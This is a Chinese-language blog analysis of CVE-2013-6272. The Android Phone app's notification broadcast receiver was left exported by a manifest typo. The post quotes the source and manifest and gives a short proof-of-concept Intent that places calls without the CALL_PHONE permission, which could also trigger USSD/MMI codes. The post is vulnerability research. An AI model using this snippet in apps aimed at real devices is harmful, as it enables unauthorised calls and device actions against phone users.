CVE 2013-6272 Android phone提權打電話漏洞分析

  1. 簡介

這一類漏洞由德國的安全研究機構Curesec所發現,去年年底的時候祕密告訴Google,直到今年7月份的時候才決定公佈一個類似的漏洞。這個漏洞涉及到com.android.phone.PhoneGlobals$NotificationBroadcastReceiv的組件暴露問題,導致惡意的應用程序無需聲明任何權限就可打電話。

   2. 漏洞細節

   在Android源碼(以JELLY_BEAN 4.3爲例) /packages/apps/Phone/src/com/android/phone/PhoneGlobals.java存在一個名爲NotificationBroadcastReceiver的BroadcastReceiver.


public static class NotificationBroadcastReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            // TODO: use "if (VDBG)" here.
            Log.d(LOG_TAG, "Broadcast from Notification: " + action);

            if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) {
                PhoneUtils.hangup(PhoneGlobals.getInstance().mCM);
            } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData());
                callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                        | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
                context.startActivity(callIntent);
            } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData());
                smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(smsIntent);
            } else {
                Log.w(LOG_TAG, "Received hang-up request from notification,"
                        + " but there's no call the system can hang up.");
            }
        }

從代碼中可以看到這個PhoneGlobals$NotificationBroadcastReceiver根據接收Intent的三種action,觸發不同的動作:

(1)ACTION_HANG_UP_ONGOING_CALL:掛斷正在進行中的電話;

(2)ACTION_CALL_BACK_FROM_NOTIFICATION:發送 action爲Intent.ACTION_CALL_PRIVILEGED的intent,最終會啓動撥號的Activity(爲OutgoingCallBroadcaster,從AndroidManifest得知),直接撥號;

(3)ACTION_SEND_SMS_FROM_NOTIFICATION:發送Intent,啓動發送的短信的Activity,這一步需要用戶干預。


有趣的是,在NotificationBroadcastReceiver前有這樣的註釋,

Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus sent from framework's notification mechanism (which is outside Phone context).This should be visible from outside, but shouldn't be in "exported" state.

程序員也知道這個類是不應該爲導出狀態的。


然而在/packages/apps/Phone/AndroidManifest.xml中卻看到如下的語句,注意紅色部分應該爲android:exported:"false",由於程序員少敲了個android,導致false沒有真正生效。

 <!-- BroadcastReceiver for receiving Intents from Notification mechanism. -->
521        <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false">
522            <intent-filter>
523                <action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" />
524                <action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" />
525                <action android:name="com.android.phone.ACTION_SEND_SMS_FROM_NOTIFICATION" />
526            </intent-filter>
527        </receiver>


在android sdk文檔中有如下對receiver組件manifest中android:exported屬性的說明。

  • android:exported

  • Whether or not the broadcast receiver can receive messages from sources outside its application  — "true" if it can, and "false" if not.  If "false", the only messages the broadcast receiver can receive are those sent by components of the same application or applications with the same user ID.

    The default value depends on whether the broadcast receiver contains intent filters.   The absence of any filters means that it can be invoked only by Intent objects that specify its exact class name.  This implies that the receiver is intended only for application-internal use (since others would not normally know the class name).   So in this case, the default value is "false". On the other hand, the presence of at least one filter implies that the broadcast receiver is intended to receive intents broadcast by the system or other applications, so the default value is "true".

    This attribute is not the only way to limit a broadcast receiver's external exposure.   You can also use a permission to limit the external entities that can send it messages (see the permission attribute).


當爲true時表明該receiver可以接收所屬應用以外的消息,而爲false時,只能接收同一應用組件或同一uid應用所發送的消息。而該屬性的默認值取決於是否聲明Intent filter,當沒有聲明時,默認爲flase;當聲明至少一個Intent filter時,默認爲true。在package.apps.Phone的manifest文件中,由於少敲了個android,實際是沒有設置android:exported屬性,而該文件又聲明瞭3個intent filter,因此取默認值true。這就是漏洞的成因。

    3. 漏洞利用與危害

我們先來看下Android中的正常打電話流程,比如如下的代碼,用戶點擊Button則會撥EdiText輸入框中的號碼

  protected void onCreate(Bundle savedInstanceState) {
        
        super.onCreate(savedInstanceState);
        setContentView(R.layout.newmain);
        
        bt = (Button)findViewById(R.id.btn1);
        edt = (EditText)findViewById(R.id.edit1);
        
        bt.setOnClickListener(new Button.OnClickListener() {
            public void onClick(View v) {
                String inputStr = edt.getText().toString();
                
                if(inputStr.trim().length()!= 0)
                {
                    Intent phoneIntent = new Intent("android.intent.action.CALL", 
                            Uri.parse("tel:" + inputStr));
                    startActivity(phoneIntent);
                }
                else
                {
                    Toast.makeText(MainActivity.this, "請輸入號碼!", Toast.LENGTH_LONG).show();
                }
                }
            });

同時需要在Manifest文件中聲明權限

<uses-permission
        android:name="android.permission.CALL_PHONE" />


利用上述漏洞惡意App,卻不需要任何權限,只需要調用如下的代碼

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));
intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");
intent.setData(Uri.parse("tel:xxx"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
sendBroadcast(intent);

由於Intent.ACTION_CALL_PRIVILEGED還支持類似於*#06#那樣的USSD/SS/MMI指令,因此可能造成更爲嚴重的危害。

 4. 影響範圍與POC

受影響的Android版本如下

wKioL1RTNlfAQgFlAAB4gOQD_xI496.jpg

Curesec在其網站中給出了實現POC的APP,並編寫了Drozer利用模塊,見[3]。


參考:

[1] http://1.xbalien.sinaapp.com/?p=171

[2] http://androidxref.com/4.3_r2.1/xref/packages/apps/Phone/src/com/android/phone/PhoneGlobals.java#1575

[3] http://blog.curesec.com/article/blog/35.html




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章